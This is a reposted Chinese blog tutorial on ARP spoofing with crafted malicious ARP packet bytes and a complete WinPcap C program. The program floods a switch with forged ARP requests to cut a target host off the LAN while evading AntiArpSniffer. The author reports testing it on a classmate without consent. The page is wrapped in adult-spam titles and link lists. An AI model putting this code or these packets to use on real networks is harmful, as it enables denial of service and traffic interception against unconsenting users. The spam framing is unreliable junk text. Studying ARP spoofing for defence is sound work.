青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

life is game

(本色)
posts - 11, comments - 4, trackbacks - 0, articles - 0
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

Arp欺騙

Posted on 2006-12-31 18:23 原色 閱讀(317) 評論(0)  編輯 收藏 引用
標(biāo) 題: arp欺騙DIY
作 者: enolaZ
時 間: 2006-10-20,13:25
鏈 接: http://bbs.pediy.com/showthread.php?threadid=33573

前段時間我們學(xué)校的的網(wǎng)絡(luò)總是出現(xiàn)掉線的問題,后來說是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,

也想搞清楚這個ARP欺騙到底是個什么東西。于是在網(wǎng)上查了點資料,看了點文檔。也算是DIY了一個出來,而

且可以不被ANTIARPSNIFFER發(fā)現(xiàn)的讓對方主機在網(wǎng)絡(luò)中死掉。于是把這個小東西貼出來讓大家一起把玩一下。
???在下菜鳥一只,還請高手指教
參考資料:《TCP/IP詳解II:實現(xiàn)》,《WINPCAP?3.0?DOC》,《交換網(wǎng)絡(luò)中的嗅探和ARP欺騙》(一位叫RefDom

的大哥很久前寫的帖子)

???一般在局域網(wǎng)中的各主機一般都是連接到同一個交換機(或是HUB),再由交換機連接路由器,路由器再與

相對于該局域網(wǎng)的外部網(wǎng)絡(luò)相連。在我們的主機和交換機的內(nèi)存中,都保留著一張ARP的緩存表(你可以在cmd

下用arp?-a來查看),它記錄著IP地址和MAC地址的對應(yīng)關(guān)系。當(dāng)外部網(wǎng)絡(luò)的一個包傳進來,交換機通過這個包

的IP地址,在他的ARP緩存表中查找其對應(yīng)的MAC地址(因為交換機是工作在鏈路層的,所以他只會根據(jù)MAC地址

來判斷是哪個主機),當(dāng)找到時,他就把這個包傳給擁有這個MAC地址的主機。當(dāng)主機向外部網(wǎng)絡(luò)通信的時候,

主機查詢自己的ARP緩存表里網(wǎng)關(guān)(在這里就是交換機)(這個網(wǎng)關(guān)是用IP地址確定的)的MAC地址,然后將包

傳給交換機,交換機一看是它的MAC地址,就把這個包往上傳給路由器。
???我們可以把IP比做姓名,把MAC地址比做聯(lián)系方式
???當(dāng)主機連接上網(wǎng)絡(luò)時,他會發(fā)送一個廣播(ARP?REQUEST)說:大家好,我是IP?xxx,這是我的MAC地址aaa,

大家以后用他聯(lián)系,叫IP?YYY的網(wǎng)關(guān)大哥的MAC地址是多少啊?,小弟以后找還要拜托大哥了,記個聯(lián)系方式先~
???然后網(wǎng)關(guān)IP?YYY告訴IP?XXX說(ARP?REPLY):我就是網(wǎng)關(guān)IP?XXX,我已經(jīng)記下了你IP和你的MAC地址,我的

MAC地址是ccc,以后有事聯(lián)系,別客氣~

???現(xiàn)在,假如出現(xiàn)了一些不明原因的錯誤,主機A中的arp緩存表中網(wǎng)關(guān)IP?YYY對應(yīng)的MAC地址不是網(wǎng)關(guān)的,而

是另一臺主機B的(BBB),那么當(dāng)主機A發(fā)送了一個包時,他查詢自己的ARP緩存表,把主機B的MAC地址填在了

網(wǎng)關(guān)的地方,然后把包發(fā)了出去,交換機一看這個MAC地址,心想這不是給我的小弟B的嗎,于是把這個包發(fā)給

了內(nèi)網(wǎng)中的B,而主機A卻不知道這個包已經(jīng)迷失在了網(wǎng)絡(luò)中。
??再假設(shè)另一個錯誤,現(xiàn)在主機中的arp緩存表沒錯,而交換機的緩存錯了,主機A的IP對應(yīng)的MAC地址上填的是

主機B的!,那么當(dāng)外部網(wǎng)絡(luò)的一個發(fā)給主機A的包到達交換機的時候,交換機查自己的ARP緩存表,一看這個IP

(A的)對應(yīng)了自己內(nèi)網(wǎng)中一個主機的MAC地址?(B的),于是就把這個包傳給了擁有這個MAC地址的B,而不是A


???另外還有一點很重要的是,ARP協(xié)議中,無論主機A有沒有REQUEST或是已經(jīng)收到了REPLY,當(dāng)再有REPLY來的

時候,它都會記下這個REPLY中的信息,并更新自己的ARP緩存。同樣交換機,也只要是有主機發(fā)送ARP?REQUEST

,他就會記下這個信息,并更新自己的ARP緩存,而不會管這個請求是對是錯

???原諒我說了這么多晦澀的話,但這決不是廢話,因為所謂的arp欺騙就是將上面所說的兩個錯誤人為的造成


??第一種欺騙方法:欺騙主機A說,我是網(wǎng)關(guān)IP?YYY,我的MAC地址改成BBB了,于是主機A就出現(xiàn)了我們剛說的

第一種情況的錯誤。
??第二種欺騙方法:欺騙交換機說,我是主機A?IP?XXX,我的MAC地址是BBB,于是交換機出現(xiàn)了我們說的第二

種情況的錯誤。

??既然要騙人家,就要讓別人相信你說的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,

這樣別人才會相信你說的假話。
??先來看下ARP包是個什么樣的(TCP/IP詳解II圖21-7有詳細(xì)說明,大家可以查查看)
?typedef?struct?ethhdr???????????????//以太網(wǎng)頭部,長度14
{
??unsigned?char?dst[6];???????//目的的MAC地址
??unsigned?char?src[6];???????//源的MAC地址
??unsigned?short?type;????????//幀類型
}ETHHDR,*PETHDHR;

typedef?struct?eth_arphdr???????????//以太網(wǎng)arp字段長度28
{
??unsigned?short?arp_hrd;?????//硬件類型
??unsigned?short?arp_pro;?????//協(xié)議類型
??unsigned?char??arp_hln;?????//硬件地址長度(6)
??unsigned?char??arp_pln;?????//協(xié)議地址長度(4)
????????unsigned?short?arp_op;??????//回應(yīng)還是請求
?
??unsigned?char?arp_sha[6];???//發(fā)送者MAC地址
??unsigned?long?arp_spa;??????//發(fā)送者IP
??unsigned?char?arp_tha[6];???//接收者MAC地址
??unsigned?long?arp_tpa;??????//接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef?struct?arp??????????????????//整個ARP包的結(jié)構(gòu)
{
????ETHHDR?ethhdr;
????ETH_ARPHDR?eth_arp;
}ARP,*PARP;??


??現(xiàn)在我們再來看下arp?request?和arp?reply到底是個什么樣子。
??我打開了winpcap?devlopment?pack中的一個例子程序TestApp,他帶有很簡單的嗅探功能,然后我用
arp?-d?10.10.63.254(我的網(wǎng)關(guān)IP地址),清除了我的ARP緩存表中網(wǎng)關(guān)的記錄,過一下,我再用arp?-a查看自

己的緩存表,網(wǎng)關(guān)的IP,MAC又寫上來了,這說明一次REQUEST和REPLY已經(jīng)完成。于是,我在TestApp的輸出中

找到了他們的包的記錄:
我的IP地址是10.10.63.37(即0a?0a?3f?25),MAC地址是00?20?ED?89?53?B9
我的網(wǎng)關(guān)的IP地址是10.10.63.254(即0a?0a?3f?fe),MAC地址是00?11?5d?ac?e8?00

request的:長度42
????FF?FF?FF?FF?FF?FF?00?20?ED?89?53?B9?08?06?00?01?08?00?06?04?00?01?00?20?ED?89?53?B9?0A?0A?3F?

25?00?00?00?00?00?00?0A?0A?3F?FE
reply的:??長度60
????00?20?ED?89?53?B9?00?11?5D?AC?E8?00?08?06?00?01?08?00?06?04?00?02?00?11?5D?AC?E8?00?0A?0A?3F?

FE?00?20?ED?89?53?B9?0A?0A?3F?25?00?00?00?00?00....(后面都是用0填充)
?
好了根據(jù)這兩個包,我們就能構(gòu)造惡意的REQUEST和REPLY,假如我們要讓一臺內(nèi)網(wǎng)中的主機C消失,假設(shè)他的IP

是10.10.63.123,MAC地址是11?22?33?44?55?66那么我們可以這樣來構(gòu)造包(我們使用一個偽造的MAC地址,比

如是AA?BB?CC?DD?EE?FF
惡意的request:長度42
????FF?FF?FF?FF?FF?FF?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?01?AA?BB?CC?DD?EE?FF?0A?0A?3F?

7B?00?00?00?00?00?00?0A?0A?3F?FE
當(dāng)交換機接受了這個請求并更新了自己的ARP緩存后,任何發(fā)給10.10.63.123的包都會轉(zhuǎn)發(fā)到MAC地址是
AA?BB?CC?DD?EE?FF的主機(假如這個主機才內(nèi)網(wǎng)中存在的話)
惡意的reply?:長度60
????11?22?33?44?55?66?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?02?AA?BB?CC?DD?EE?FF?0A
0A?3F?FE?11?22?33?44?55?66?0A?0A?EF?7B?00?00?00?00?00.....(后面用0填充)
當(dāng)主機接受到了這個包,并更新了自己的ARP緩存后,他所發(fā)的任何包都會轉(zhuǎn)發(fā)給擁有這個MAC地址的主機(同

上,這個主機必須存在)。
???現(xiàn)在假如交換機和主機都被欺騙了,于是就出現(xiàn)了這樣的一個情況:主機A和其他主機或是外部網(wǎng)絡(luò)的一切

通信就都會傳給這個偽造MAC的主機,而如果這個主機再將這些包轉(zhuǎn)發(fā)給原來的接收方的話,他就成了THE?

MIDDLE?MAN,而這種方式也正是交換機網(wǎng)絡(luò)中的嗅探原理了。有興趣的話,大家也可以寫個試試~

???現(xiàn)在回到我們的話題上來,當(dāng)我們自己的網(wǎng)絡(luò)中出現(xiàn)了類似的欺騙的時候,我們應(yīng)該怎么防范?很多人估計

都會想到用專門的軟件,比如ANTIARPSNIFFER3.0,這個軟件實際是將網(wǎng)關(guān)的IP地址和MAC地址的對應(yīng)關(guān)系綁定

,當(dāng)接受到一個ARP?REPLY時他會查看這個包中發(fā)送方的IP和MAC地址,如果IP是網(wǎng)關(guān)的,而MAC地址不是,那他

就認(rèn)為這是個ARP欺騙,于是記錄這個假的MAC地址(當(dāng)然我們可以偽造,如果你想架禍人的話,也可以填別人

的...,但如果你是想嗅探(即是你自己的MAC地址),那么你可能會在某天被一群人抓出去暴打一頓...,為什

么我們生活的世界這么暴力,不能和平解決呢?額...我請大哥們吃頓飯怎么樣??)
???ANTIARPSNIFFER可以有效的阻止發(fā)送給主機的欺騙REPLY,但他無法阻止發(fā)送給交換機的欺騙REQUEST,因此

也就無法捕獲惡意攻擊者的MAC地址,所以我個人認(rèn)為站在攻擊的角度,第二種欺騙方式要比第一種來的更加有

效和不易被發(fā)現(xiàn),畢竟誰的會關(guān)注自身的安全,卻往往忽視社會整體的安全隱患....要想解決這個問題,就必

須把交換機的ARP緩存設(shè)為靜態(tài)(即將IP和MAC的對應(yīng)關(guān)系鎖死)(使用ARP?-S)來解決。然而,對于主機使用

DHCP動態(tài)獲取IP的網(wǎng)絡(luò)(比如我們學(xué)校的網(wǎng)絡(luò)),由于IP與MAC地址無法在長時間內(nèi)保持一致,因此交換機的

ARP緩存表必須是可更新的(即動態(tài)),于是對于這種網(wǎng)絡(luò),發(fā)送欺騙REQUEST給交換機的攻擊方式將是無法解

決的....
???也正因為此,我所編寫的一個測試程序是基于第二種攻擊方式(即發(fā)送加的ARP?REQUEST請求給交換機)。

由于是測試程序,我把一切可能出錯的部分都做了最簡化以方便調(diào)試,程序相當(dāng)簡陋,不過仍然很有效。
另外要說明的是,我安裝了WINPCAP?3.0(一個OPEN?SOURCE的網(wǎng)卡驅(qū)動項目)和他的開發(fā)包。并參考了WINPCAP
DOC中的程序和RefDom大哥在帖子里的程序,當(dāng)然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實現(xiàn)》第21



/////////////////////////////////////////////////////////////////////////////
//????arp?attacker
//????author:enolaZ
//????e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma?comment(lib,"ws2_32")
#pragma?comment(lib,"packet")

#define?EPT_ARP?0x0806????????????????//定義了一些在構(gòu)造包的時候要用到的常量
#define?EPT_IP?0x0800
#define?ARP_HARDWARE?0X0001
#define?ARP_REPLY?0x0002
#define?ARP_REQUEST?0x0001

#pragma?pack(push,1)????????????????//在定義結(jié)構(gòu)的時候一頂要用到pack(push,1)和下面的pack(pop)
????????????????????????????????????//否則你構(gòu)造的結(jié)構(gòu)的長度會有問題

typedef?struct?ethhdr???????????????//以太網(wǎng)頭部,長度14
{
??unsigned?char?dst[6];???????//目的的MAC地址
??unsigned?char?src[6];???????//源的MAC地址
??unsigned?short?type;????????//幀類型
}ETHHDR,*PETHDHR;

typedef?struct?eth_arphdr???????????//以太網(wǎng)arp字段長度28
{
??unsigned?short?arp_hrd;?????//硬件類型
??unsigned?short?arp_pro;?????//協(xié)議類型
??unsigned?char??arp_hln;?????//硬件地址長度(6)
??unsigned?char??arp_pln;?????//協(xié)議地址長度(4)
????????unsigned?short?arp_op;??????//回應(yīng)還是請求
?
??unsigned?char?arp_sha[6];???//發(fā)送者MAC地址
??unsigned?long?arp_spa;??????//發(fā)送者IP
??unsigned?char?arp_tha[6];???//接收者MAC地址
??unsigned?long?arp_tpa;??????//接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef?struct?arp??????????????????//整個ARP包的結(jié)構(gòu)
{
??ETHHDR?ethhdr;
????ETH_ARPHDR?eth_arp;
}ARP,*PARP;

#pragma?pack(pop)

#define?Max_Num_Adapter?10

char????????AdapterList[Max_Num_Adapter][1024];??//定義的網(wǎng)絡(luò)適配器列表

int?main?(int?argc,char*?argv[])
{
??LPADAPTER??lpAdapter?=?0;???????????????
??LPPACKET???lpPacket;
??int????????i;
??DWORD??????dwErrorCode;
??WCHAR?????AdapterName[8192];?
??WCHAR?????*temp,*temp1;?????????????????//將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList時用
??int?????AdapterNum=0;
??ULONG?????AdapterLength;
??ARP?arpPacket;???????????????????????????//定義的包結(jié)構(gòu)實例
??char?szPktBuf[256000];???????????????????//用于存放包的內(nèi)容


????????printf("%d\n",sizeof(ETHHDR));???????????//這3行是我在測試結(jié)構(gòu)長度時用的,如果沒有使用之
??printf("%d\n",sizeof(ETH_ARPHDR));???????//前說的pack(push,1),pack(pop)長度就成了14,32
??printf("%d\n",sizeof(ARP));??????????????//48,與我們的arp包的格式不符
??i=0;??
??AdapterLength?=?sizeof(AdapterName);
??if(PacketGetAdapterNames((char?*)AdapterName,&AdapterLength)==FALSE)//獲取所有網(wǎng)絡(luò)適配器
??{
????printf("Unable?to?retrieve?the?list?of?the?adapters!\n");
????return?-1;
??}
??temp=AdapterName;
??temp1=AdapterName;
??while?((*temp!='\0')||(*(temp-1)!='\0'))??????????//將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList
??{
????if?(*temp=='\0')?
????{
??????memcpy(AdapterList[i],temp1,(temp-temp1)*2);
??????temp1=temp+1;
??????i++;
????}
????temp++;
??}
????
??AdapterNum=i;
??for?(i=0;i<AdapterNum;i++)
????wprintf(L"\n%d-?%s\n",i+1,AdapterList[i]);?//輸出獲得的所有網(wǎng)絡(luò)適配器
??printf("\n");??
??
??lpAdapter?=???PacketOpenAdapter(AdapterList[0]);???//得到對應(yīng)網(wǎng)絡(luò)適配器的_Adapter結(jié)構(gòu),我??

???????????????????????????????????????????????????????????//就一個當(dāng)然是0了??
??if?(!lpAdapter?||?(lpAdapter->hFile?==?INVALID_HANDLE_VALUE))
??{
????dwErrorCode=GetLastError();
????printf("Unable?to?open?the?adapter,?Error?Code?:?%lx\n",dwErrorCode);?
????return?-1;
??}??

????????lpPacket=PacketAllocatePacket();???????????????????????//得到一個包的_Packet結(jié)構(gòu)
??if(lpPacket==NULL)
??{
????printf("alloc?lppacket?failed");
????return?-1;
??}

????????ZeroMemory(szPktBuf,sizeof(szPktBuf));????????????????//將包的緩存區(qū)清空

??arpPacket.ethhdr.dst[0]=0xff;?????????????????????//開始填充包結(jié)構(gòu)arpPacket
????????arpPacket.ethhdr.dst[1]=0xff;
??arpPacket.ethhdr.dst[2]=0xff;
??arpPacket.ethhdr.dst[3]=0xff;
??arpPacket.ethhdr.dst[4]=0xff;
??arpPacket.ethhdr.dst[5]=0xff;

??arpPacket.ethhdr.src[0]=0x00;?????????????????????//一個偽造的MAC地址
????????arpPacket.ethhdr.src[1]=0x20;
??arpPacket.ethhdr.src[2]=0xce;
??arpPacket.ethhdr.src[3]=0xa8;
??arpPacket.ethhdr.src[4]=0x54;
??arpPacket.ethhdr.src[5]=0x33;

??arpPacket.ethhdr.type=htons(EPT_ARP);
??arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
??arpPacket.eth_arp.arp_pro=htons(EPT_IP);
??arpPacket.eth_arp.arp_hln=6;
??arpPacket.eth_arp.arp_pln=4;
??arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

??arpPacket.eth_arp.arp_sha[0]=0x00;????????????????????//仍然是假的MAC地址
??arpPacket.eth_arp.arp_sha[1]=0x20;
??arpPacket.eth_arp.arp_sha[2]=0xce;
??arpPacket.eth_arp.arp_sha[3]=0xa8;
??arpPacket.eth_arp.arp_sha[4]=0x54;
??arpPacket.eth_arp.arp_sha[5]=0x33;
??arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");???//冒充對象的IP

????????arpPacket.eth_arp.arp_tha[0]=0x00;
??arpPacket.eth_arp.arp_tha[1]=0x00;
??arpPacket.eth_arp.arp_tha[2]=0x00;
??arpPacket.eth_arp.arp_tha[3]=0x00;
??arpPacket.eth_arp.arp_tha[4]=0x00;
??arpPacket.eth_arp.arp_tha[5]=0x00;
??arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");???//網(wǎng)關(guān)IP
????????printf("%d\n",sizeof(arpPacket));
??memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));??
??PacketInitPacket(lpPacket,szPktBuf,60);????????????????
????????while(getchar()!='q')?????????????????????????????????????//當(dāng)輸入為q時結(jié)束
??{
????????if(PacketSendPacket(lpAdapter,lpPacket,true)==false)??//不斷發(fā)送偽造信息,將目標(biāo)的正確
??????????????????????????????????????????????????????????????//ARP?REQUEST淹沒
????{
????????printf("error?in?sending?packet");
????????return?-1;
????}
??}
??printf("send?ok");
??PacketFreePacket(lpPacket);????????//一點掃尾的工作
??PacketCloseAdapter(lpAdapter);

????return?1;
}

好了,這個異常簡陋的程序結(jié)束了,我對我們內(nèi)部網(wǎng)的某同學(xué)測試過,當(dāng)我程序啟動不久,去他寢室看,他已

經(jīng)掉線了,而他的AntiArpSniffer卻沒有報警,呵呵這說明攻擊很成功~。
當(dāng)然要說明的一點是,這個東西完全是研究學(xué)習(xí)用,沒有惡意,也希望大家不要隨便對別人做壞事,恩恩,為

了學(xué)習(xí)研究的目的當(dāng)然可以做一下實驗,但不要太有破壞性哦~(如果你想被一群憤怒的群眾痛打,那我也沒話

說...)。可憐了我那位實驗對象?...找個機會請他吃個飯吧~


只有注冊用戶登錄后才能發(fā)表評論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            国产一区二区在线免费观看| 欧美在线91| 欧美国产日韩视频| 久久99伊人| 欧美专区一区二区三区| 99在线|亚洲一区二区| 亚洲第一在线综合网站| 老司机精品视频网站| 久久综合福利| 欧美精品色一区二区三区| 久久综合综合久久综合| 欧美a级片一区| 国产精品高潮呻吟久久av无限| 欧美日韩第一区日日骚| 欧美日产一区二区三区在线观看| 欧美成人日韩| 国产精品欧美经典| 亚洲高清成人| 中文久久乱码一区二区| 久久久久久久综合色一本| 久久视频国产精品免费视频在线| 久久久91精品国产| 国产美女在线精品免费观看| 国产伦精品一区二区| 亚洲高清久久| 久久视频国产精品免费视频在线| 亚洲日本欧美在线| 麻豆av一区二区三区久久| 国产精品99一区二区| 亚洲电影免费| 欧美一级午夜免费电影| 亚洲乱码国产乱码精品精可以看 | 国产精品一区视频网站| 9国产精品视频| 久久视频这里只有精品| 亚洲免费视频成人| 国产精品日韩电影| 亚洲欧美日韩精品| 一区二区三区|亚洲午夜| 欧美日韩国产片| 中国女人久久久| 亚洲激情视频在线| 欧美精品一区二区三区蜜臀| 亚洲精品国产精品乱码不99| 亚洲精品国产精品久久清纯直播| 久久全球大尺度高清视频| 精品91在线| 亚洲美女av网站| 国产乱码精品一区二区三区不卡| 欧美一级大片在线免费观看| 欧美一区视频在线| 亚洲国产日韩一区| 亚洲欧洲一级| 国产一区二区在线观看免费播放| 激情av一区| 亚洲美女网站| 国产欧美日韩在线观看| 久久天堂国产精品| 国产精品国产福利国产秒拍| 美国成人直播| 国产精品视频一| 亚洲精品一区二区网址| 国产午夜一区二区三区| 亚洲精品一区二区在线| 在线色欧美三级视频| 欧美在线观看视频| 一二三区精品福利视频| 久久精品中文字幕一区| 欧美一区二粉嫩精品国产一线天| 欧美成ee人免费视频| 免费不卡在线视频| 国产在线精品二区| 亚洲欧美电影院| 亚洲视频日本| 国产精品国产亚洲精品看不卡15| 亚洲国产精品久久久久久女王| 好看的日韩视频| 久久久爽爽爽美女图片| 久久综合色一综合色88| 韩国视频理论视频久久| 久久久另类综合| 欧美黄色大片网站| 99视频超级精品| 国产精品久久久久久福利一牛影视 | 欧美一区二区在线播放| 亚洲一区二区三区涩| 国产精品福利在线观看| 亚洲一区二区三区四区视频| 性欧美xxxx大乳国产app| 伊人激情综合| 久久久久久9| 欧美高清在线视频| 亚洲啪啪91| 亚洲精品国产精品乱码不99按摩 | 国产精品推荐精品| 欧美一区二区三区四区夜夜大片| 欧美在线网址| 99精品黄色片免费大全| 亚洲欧美国产另类| 亚洲国内自拍| 午夜精品久久久久久久男人的天堂| 国产在线不卡| 99国产精品视频免费观看| 国产在线视频欧美一区二区三区| 亚洲第一页自拍| 国产亚洲欧美一区在线观看| 亚洲日本va午夜在线影院| 国产综合色产在线精品| 亚洲精品一区二区三区婷婷月| 国产午夜精品全部视频播放| 最新国产成人av网站网址麻豆 | 在线中文字幕一区| 久久精品国产清高在天天线| 亚洲一区二区三区免费视频 | 国产精品少妇自拍| 91久久国产自产拍夜夜嗨| 国产婷婷色一区二区三区四区| 亚洲欧洲一区二区在线播放| 精品电影在线观看| 午夜精品亚洲| 亚洲男女自偷自拍图片另类| 欧美成在线观看| 久久久久久尹人网香蕉| 国产精品magnet| 亚洲精品乱码久久久久久蜜桃麻豆| 伊人久久亚洲热| 久久超碰97人人做人人爱| 性色av一区二区三区红粉影视| 欧美三级视频| 在线视频精品一区| 一本到高清视频免费精品| 欧美成人高清视频| 免费日韩成人| 伊人精品在线| 久久久久久久999精品视频| 欧美综合国产精品久久丁香| 国产精品伦一区| 亚洲一区二区三区免费在线观看| 亚洲少妇最新在线视频| 欧美日韩国产综合网| 亚洲美女在线看| 亚洲男人影院| 欧美黄色影院| 亚洲第一黄色网| 久久综合给合久久狠狠色| 久久夜色精品| 亚洲国产精品久久91精品| 久久综合中文色婷婷| 亚洲国产日韩欧美在线99 | 久久亚洲不卡| 红桃视频亚洲| 噜噜噜躁狠狠躁狠狠精品视频| 蜜臀a∨国产成人精品| 亚洲国产成人av| 欧美精品网站| 亚洲一区二区三区在线观看视频| 欧美一级精品大片| 激情久久久久久久| 久久综合中文| 亚洲私人影院在线观看| 久久久国产精品一区二区三区| 在线国产精品播放| 欧美精品久久久久久久久老牛影院 | 久久中文字幕一区| 亚洲国产欧美日韩精品| 欧美精品v国产精品v日韩精品| 在线亚洲激情| 久久婷婷影院| 99热这里只有成人精品国产| 国产精品免费小视频| 久久久久国色av免费看影院 | 久久国产日韩| 亚洲乱码一区二区| 久久不射网站| 日韩一级成人av| 国产精品视频精品| 欧美成人中文字幕在线| 欧美一级电影久久| 免费在线观看日韩欧美| 亚洲午夜视频在线观看| 激情另类综合| 欧美视频一区二区三区在线观看| 久久动漫亚洲| 99亚洲伊人久久精品影院红桃| 久久亚洲春色中文字幕| 亚洲一级二级| 亚洲欧洲日产国产网站| 国产日韩在线看| 欧美三级日韩三级国产三级| 久久中文字幕导航| 香蕉久久精品日日躁夜夜躁| 亚洲清纯自拍| 欧美国产一区视频在线观看| 久久国产精品99久久久久久老狼 | 欧美韩日亚洲| 久久久久综合一区二区三区| 亚洲一级特黄| 亚洲伦理在线观看| 亚洲电影在线播放| 国产一区二区日韩精品欧美精品|